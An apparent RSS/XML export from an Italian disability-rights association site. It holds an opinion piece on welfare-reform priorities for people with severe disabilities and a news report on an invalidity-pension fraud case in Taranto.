<p style="text-align: justify;">Nella difficilissima situazione economica e politica del momento è assolutamente necessario fare qualcosa perché le nere nubi che si addensano sul capo delle persone con disabilità non diano luogo a un diluvio capace di cancellarle come &#8220;categoria sociale&#8221; e persino come persone realmente fruitrici del diritto all&#8217;esistenza.</p>
<p style="text-align: justify;">In un passato non certo lontano [se ne legga nel nostro sito cliccando qui, N.d.R.] il Comitato Promotore per il Prepensionamento dei Genitori di Disabili Gravi aveva proposto &#8211; con alterne fortune e una lunghissima gestazione &#8211; un provvedimento che tramutasse in legge tale obiettivo. Il provvedimento, nella sua ennesima versione, aveva ottenuto il placet della Camera nel marzo del 2010, con un testo che presentava grosse limitazioni rispetto alle aspettative iniziali, un testo che &#8211; a parere degli scriventi &#8211; sarebbe oggi esposto, in sede di votazione al Senato, a forti rischi di sostanziali modifiche, alcune peggiorative, altre obiettivamente necessarie (ad esempio ove si citava il triennio 2010-2012 come campo di azione sperimentale).</p>
<p style="text-align: justify;">Non risulta per altro che sia poi stato effettivamente determinato l&#8217;impegno di spesa che deriverebbe dall&#8217;approvazione definitiva del provvedimento &#8211; dipendente, naturalmente, dai termini esatti della formulazione del medesimo &#8211; e la relativa copertura.</p>
<p style="text-align: justify;">Oggi però ci chiediamo: sarebbe saggio e produttivo insistere su tale via? Pur rendendoci conto, infatti, dei nobili princìpi che hanno ispirato questa battaglia e avendola sostenuta con convinzione sin dagli inizi, oggi ci sentiamo costretti, dal mutato clima finanziario, politico e mediatico, a cambiare opinione.</p>
<p style="text-align: justify;">Ecco la principale motivazione: esistono al momento preoccupazioni maggiori e onnicomprensive dell&#8217;intero mondo delle persone con disabilità che dovrebbero indurre tutti noi a concentrare ogni capacità di pressione e persuasione ad esempio per contrastare il &#8220;famigerato&#8221; Disegno di Legge Delega n. 4566 per la riforma dell&#8217;assistenza, proposto dal precedente Governo e all&#8217;esame della Camera, oltreché dell&#8217;attuale Esecutivo. Se tale Delega, infatti, venisse utilizzata nei termini preannunciati dai media &#8211; assoggettamento a un ISEE [Indicatore della Situazione Economica Equivalente, N.d.R.] &#8220;peggiorato&#8221; da ogni forma di assistenza goduta, indipendentemente dalla gravità, principio della non-cumulabilità delle prestazioni ecc. [se ne legga anche nel nostro sito cliccando qui, N.d.R.] &#8211; si introdurrebbe di fatto una sorta di &#8220;eutanasia coatta&#8221; per le persone con disabilità grave e per le loro famiglie.</p>
<p style="text-align: justify;">Restringendo quindi il campo e mirando a salvare almeno qualcosa per chi ha maggiori necessità e bisogni (i gravissimi*), sembra opportuno puntare al riconoscimento giuridico di tale situazione di disabilità e ai provvedimenti conseguenti. Una definizione precisa e giuridicamente vincolante del termine &#8220;disabilità gravissima&#8221;, ad esempio, circoscriverebbe notevolmente il numero dei soggetti da tutelare e si potrebbe pervenire a un calcolo esatto dei costi previsti dai provvedimenti. Al limite, tali costi potrebbero anche non comportare aumenti di spesa, ma salvaguarderebbero almeno i gravissimi e le loro famiglie da mortiferi &#8220;tagli&#8221; assistenziali.</p>
<p style="text-align: justify;">A parere degli scriventi, poi, tale definizione dovrebbe essere centrata sulla &#8220;complessità assistenziale&#8221;, evitando il riferimento a specifiche patologie, ed essere basata sull&#8217;innegabile assunto che anche una breve interruzione dell&#8217;assistenza può risultare altamente rischiosa per una persona con disabilità gravissima.</p>
<p style="text-align: justify;">Attualmente il rischio maggiore per ogni proposta in materia di disabilità è che il Governo, &#8220;tolto il pane dalla tavola&#8221; e lasciatene solo poche briciole, voglia dimostrare la propria sensibilità sociale con un provvedimento fantasma simile alla nebbia del mattino. Destinato cioè ben presto a svanire.</p>
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		<title>Taranto, guidava e faceva la spesa. Ma per l&#8217;Inps non poteva camminare</title>
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		<pubDate>Wed, 30 Nov 2011 18:14:43 +0000</pubDate>
		<dc:creator>sitoavp</dc:creator>
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		<description><![CDATA[Per l’Inps che gli ha versato duemila euro al mese per dieci anni il pensionato non poteva camminare da solo e per respirare doveva essere collegato ad una bombola di ossigeno dalla mattina alla sera. Invece l’ottantaseienne tarantino conduceva una vita agiata, si muoveva in automobile da solo e guidava persino un grosso camper nel [...]]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-2203" href="http://www.avpaosta.org/taranto-guidava-e-faceva-la-spesa-ma-per-linps-non-poteva-camminare/disabile-carrozzina1"><img class="alignleft size-thumbnail wp-image-2203" title="disabile-carrozzina1" src="http://www.avpaosta.org/wp-content/uploads/2011/11/disabile-carrozzina1-150x100.jpg" alt="" width="150" height="100" /></a>Per l’Inps che gli ha versato duemila euro al mese per dieci anni il pensionato non poteva camminare da solo e per respirare doveva essere collegato ad una bombola di ossigeno dalla mattina alla sera. Invece l’ottantaseienne tarantino conduceva una vita agiata, si muoveva in automobile da solo e guidava persino un grosso camper nel periodo estivo.<span id="more-2202"></span></p>
<p>GLI ALTRI CASI RECENTI DI FALSI INVALIDI Bergamo, finto cieco arrestato mentre fa giardinaggio Ravenna, per i medici era cieca. Ma lei faceva la parrucchiera.</p>
<p>Era tutt’altro che mansueto e nel suo quartiere era conosciuto come persona rissosa e attaccabrighe. Così, scrive il Corriere del Mezzogiorno, il falso invalido è stato denunciato per truffa dai carabinieri di Taranto che lo hanno filmato in più riprese.</p>
<p>L&#8217;uomo a suo tempo aveva sostenuto di non essere in grado di camminare e deambulare correttamente, e di essere oltretutto affetto da gravi patologie pneumologiche, tali da richiedere il ricorso a ossigenoterapia per 24 ore al giorno. Le indagini dei carabinieri sono iniziate nel maggio scorso, anche perché A.F. non è passato certo inosservato: spesso si è trovato al centro di denunce di vario tipo, a sua firma o nei suoi confronti.</p>
<p>I carabinieri lo hanno sorpreso prima alla guida di un&#8217;auto, poi lo hanno osservato mentre saliva le scale con le buste della spesa, infine mentre andava a a ritirare la pensione &#8211; l&#8217;assegno da circa 2mila euro mensili &#8211; nonostante i &#8220;noti&#8221; problemi motori e la necessità, per respirare correttamente, di bombole d&#8217;ossigeno.</p>
<p>Indagato anche il suo medico di famiglia, che ha stilato i nove certificati. Per il professionista il reato ipotizzato è quello di falso ideologico.Sulla carta l&#8217;86enne risultava affetto da broncopolmonite, demenza senile e una grave insufficienza respiratoria che lo avrebbero dovuto costringere a rimanere a letto e a tenere l&#8217;erogatore per l&#8217;ossigeno. Nel corso di una perquisizione compiuta nell&#8217;abitazione del medico, oltre ai certificati contraffatti, i militari hanno scoperto materiale archeologico non denunciato che ora è al vaglio della sovrintendenza.</p>
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